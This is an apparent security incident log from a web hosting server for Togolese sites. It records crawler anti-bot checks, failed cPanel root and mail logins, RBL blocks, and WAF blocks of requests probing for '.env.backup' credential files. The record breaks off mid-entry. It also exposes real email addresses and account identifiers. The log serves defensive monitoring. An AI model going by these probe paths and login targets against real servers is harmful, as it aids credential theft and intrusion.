# incident

plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.174
country_id: 1880251
description:
47.128.96.174 - - [10/Jun/2026:09:25:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13409893&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fchanteuse-togolaise-kezita%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781083518 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/chanteuse-togolaise-kezita/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.174


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 89.37.222.162
country_id: 1522867
description:
2026-06-10 09:25:18 H=([0.0.0.0]) [89.37.222.162]:21111 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.15
country_id: 1880251
description:
47.128.96.15 - - [10/Jun/2026:09:27:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7104920&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdeeper-life%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781083621 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/deeper-life/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.15


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.168
country_id: 1880251
description:
47.128.96.168 - - [10/Jun/2026:09:27:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262168&pdata=https%253A%252F%252Fcfpj.tg%252Fcfpj-rapport-dactivite-2024%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781083641 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/cfpj-rapport-dactivite-2024/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.168


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.122
country_id: 1880251
description:
47.128.96.122 - - [10/Jun/2026:09:27:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12960662&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fgnassingbe-eyadema%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781083653 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/gnassingbe-eyadema/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.122


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.73.94
country_id: 1269750
description:
2026-06-10 09:28:26 dovecot_login authenticator failed for H=([218.146.255.221]) [182.78.73.94]:49080: 535 Incorrect authentication data (set_id=olivier.gadawouye@ekeasarl.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.145
country_id: 1880251
description:
47.128.96.145 - - [10/Jun/2026:09:27:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6985108&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Freseau-de-fraudeurs%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781083672 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/reseau-de-fraudeurs/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.145


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.78.73.94
country_id: 1269750
description:
Jun 10 09:28:24 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.78.73.94 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.183
country_id: 1880251
description:
47.128.96.183 - - [10/Jun/2026:09:27:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10196325&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fchloroquine%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781083678 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/chloroquine/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.183


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.157.128.67
country_id: 2464461
description:
[2026-06-10 09:28:43 +0000] info [whostmgrd] 102.157.128.67 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.120
country_id: 1880251
description:
47.128.96.120 - - [10/Jun/2026:09:29:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10055020&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Faugmentation-de-volume-data-togocom%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781083793 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/augmentation-de-volume-data-togocom/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.120


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.5.68.122
country_id: 1562822
description:
2026-06-10 09:30:14 dovecot_plain authenticator failed for H=(cyrxb8ll5lw9oi6gtex47sfo7) [117.5.68.122]:33513: 535 Incorrect authentication data (set_id=tps@tps.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.196.254.21
country_id: 2635167
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:09-30.196.196.254.21||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.142
country_id: 1880251
description:
47.128.96.142 - - [10/Jun/2026:09:30:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6789990&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-avis-a-manifestation-dinteret-de-la-giz-pour-des-prestations%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781083833 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-avis-a-manifestation-dinteret-de-la-giz-pour-des-prestations/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.142


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.5.68.122
country_id: 1562822
description:
Jun 10 09:30:12 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.5.68.122 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 107.158.95.126
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:09-30.107.158.95.126||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 181.215.16.216
country_id: 290557
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:09-30.181.215.16.216||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.204.99.228
country_id: 6252001
description:
[2026-06-10 09:30:50 +0000] info [whostmgrd] 192.204.99.228 - radiotogocomtg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.195.143
country_id: 2363686
description:
[2026-06-10 09:31:34 +0000] info [webmaild] 196.168.195.143 - agou1@agou1.mairie.tg "GET /cpsess0412622402/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.170.173.172] != Current IP Address [196.168.195.143]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.158
country_id: 1880251
description:
47.128.96.158 - - [10/Jun/2026:09:31:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10263497&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-concours-de-la-fonction-publique-les-listes-et-la-repartition-des-candidats-deja-disponibles%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781083877 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-concours-de-la-fonction-publique-les-listes-et-la-repartition-des-candidats-deja-disponibles/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.158


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.176
country_id: 1880251
description:
47.128.96.176 - - [10/Jun/2026:09:31:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13145193&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmil%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781083891 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/mil/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.176


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 102.165.55.133
country_id: 953987
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:09-30.102.165.55.133||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.134.108
country_id: 690791
description:
Jun 10 09:31:44 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.134.108 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 196.171.122.34
country_id: 2363686
description:
[2026-06-10 09:31:38 +0000] info [cpaneld] 196.171.122.34 NEW mvfxewjz:MrvYwVOQFygMAepo address=196.171.122.34,app=cpaneld,creator=mvfxewjz,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 88.238.37.96
country_id: 298795
description:
[2026-06-10 09:33:10 +0000] info [whostmgrd] 88.238.37.96 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.176
country_id: 1880251
description:
47.128.96.176 - - [10/Jun/2026:09:33:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6645397&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdrame-de-tivaoune-au-senegal%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781084018 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/drame-de-tivaoune-au-senegal/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.176


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 31.56.224.67
country_id: 290557
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:revue-annuelle-des-reformes-communautaire-de-luemoa-lauto-evaluation-tenue-a-lome/||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.188.114.76
country_id: 1168579
description:
[2026-06-10 09:35:10 +0000] info [whostmgrd] 182.188.114.76 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.156
country_id: 1880251
description:
47.128.96.156 - - [10/Jun/2026:09:34:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803419&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Freussir-son-entretien-de-visa%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781084082 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/reussir-son-entretien-de-visa/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.156


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.238.109.12
country_id: 6252001
description:
[2026-06-10 09:36:31 +0000] info [whostmgrd] 23.238.109.12 - two "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 95.173.219.10
country_id: 6251999
description:
95.173.219.10 - - [10/Jun/2026:09:36:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6919533&pdata=https%253A%252F%252Fcrrhuemoa.org&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781084196 HTTP/2.0" 302 0 crrhuemoa.org "https://crrhuemoa.org/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15" WL:"0" "-" XFF:"95.173.219.10" CAPTCHA:"0" PEER:162.159.102.149


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.50.163.77
country_id: 6252001
domain: www.la-snb.snb.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/admin/.env.backup||User:bighostingsnbd||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.122
country_id: 3175395
description:
Jun 10 09:36:37 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.122 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.144.121.64
country_id: 2017370
description:
[2026-06-10 09:36:53 +0000] info [whostmgrd] 5.144.121.64 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.116
country_id: 1880251
description:
47.128.122.116 - - [10/Jun/2026:09:37:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065517&pdata=https%253A%252F%252Ftogodailynews.tg%252Fle-mcc-fait-le-point-de-letat-davancement-de-la-mise-en-oeuvre-du-programme-seuil-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781084233 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/le-mcc-fait-le-point-de-letat-davancement-de-la-mise-en-oeuvre-du-programme-seuil-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.116


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.137
country_id: 1880251
description:
47.128.96.137 - - [10/Jun/2026:09:38:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6735255&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcaravane-nationale-du-concert-party%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781084282 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/caravane-nationale-du-concert-party/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.137


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.15
country_id: 1880251
description:
47.128.96.15 - - [10/Jun/2026:09:38:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6866536&pdata=https%253A%252F%252Fcfpj.tg%252Ftag%252Fblog%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781084300 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/tag/blog/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.15


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.50.163.77
country_id: 6252001
domain: www.la-snb.snb.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/env.backup||User:bighostingsnbd||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.193
country_id: 1880251
description:
47.128.96.193 - - [10/Jun/2026:09:38:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053988&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcalvaire-des-usagers-de-la-route-de-segbe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781084289 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/calvaire-des-usagers-de-la-route-de-segbe/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.193


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.195
country_id: 1880251
description:
47.128.96.195 - - [10/Jun/2026:09:37:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6645191&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fpalais-des-congres-de-lome%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781084257 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/palais-des-congres-de-lome/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.195


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.116
country_id: 1880251
description:
47.128.122.116 - - [10/Jun/2026:09:39:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7496387&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-construction-dune-centrale-solaire-photovoltaique-a-dapaong%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781084374 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-construction-dune-centrale-solaire-photovoltaique-a-dapaong/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.116


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 54.226.65.83
country_id: 6252001
description:
[2026-06-10 09:39:16 +0000] info [cpaneld] 54.226.65.83 - conseiller "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user conseiller (has_cpuser_file failed)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.127.126.39
country_id: 6252001
domain: www.sia-togo.tg
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/app/.env.backup||User:qfaclpeg||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 49.82.126.57
country_id: 1814991
description:
2026-06-10 09:40:51 H=([49.82.126.57]) [49.82.126.57]:58788 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.200
country_id: 1880251
description:
47.128.96.200 - - [10/Jun/2026:09:40:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6447974&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fpalais-des-congres-de-lome%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781084436 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/palais-des-congres-de-lome/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.200


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.173.38.135
country_id: 2017370
description:
Jun 10 09:41:39 ns5 auth[486657]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.173.38.135 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.173.38.135
country_id: 2017370
description:
2026-06-10 09:41:41 dovecot_login authenticator failed for H=broadband-109-173-38-135.ip.moscow.rt.ru (static.ill.103.225.15.98.bsnl.co.in) [109.173.38.135]:52682: 535 Incorrect authentication data (set_id=info@dany2.mairie.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.9.179.164
country_id: 1814991
description:
2026-06-10 09:41:59 H=([113.9.179.164]) [113.9.179.164]:60044 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.92.27.240
country_id: 2921044
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/cache/autoptimize/css/autoptimize_single_254be852b9f97957423de45bce2e705f.css?ver=1.0.0 HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.135
country_id: 1880251
description:
47.128.96.135 - - [10/Jun/2026:09:43:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9989479&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcedeao-coup-detat-guinee-bissau%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781084582 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cedeao-coup-detat-guinee-bissau/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.135


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.113.213.183
country_id: 1512440
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/nafa-vers-une-nouvelle-architecture-financiere-africaine/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.113.213.183
country_id: 1512440
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/nafa-vers-une-nouvelle-architecture-financiere-africaine/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.180
country_id: 1880251
description:
47.128.96.180 - - [10/Jun/2026:09:42:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9986969&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Frecensement-electoral-2023%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781084576 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/recensement-electoral-2023/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.180


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.155
country_id: 1880251
description:
47.128.96.155 - - [10/Jun/2026:09:43:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184811&pdata=https%253A%252F%252Ftdn.tg%252Fmercato-thiago-sylva-a-chelsea-pour-une-nouvelle-aventure%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781084634 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/mercato-thiago-sylva-a-chelsea-pour-une-nouvelle-aventure/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.155


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-10 09:44:10 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:39236: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.181
country_id: 1880251
description:
47.128.96.181 - - [10/Jun/2026:09:43:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7260099&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcaravane-nationale-du-concert-party%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781084621 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/caravane-nationale-du-concert-party/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.181


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.142
country_id: 1880251
description:
47.128.96.142 - - [10/Jun/2026:09:45:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986136&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fgerry-taama%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781084710 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/gerry-taama/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.142


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.202
country_id: 1880251
description:
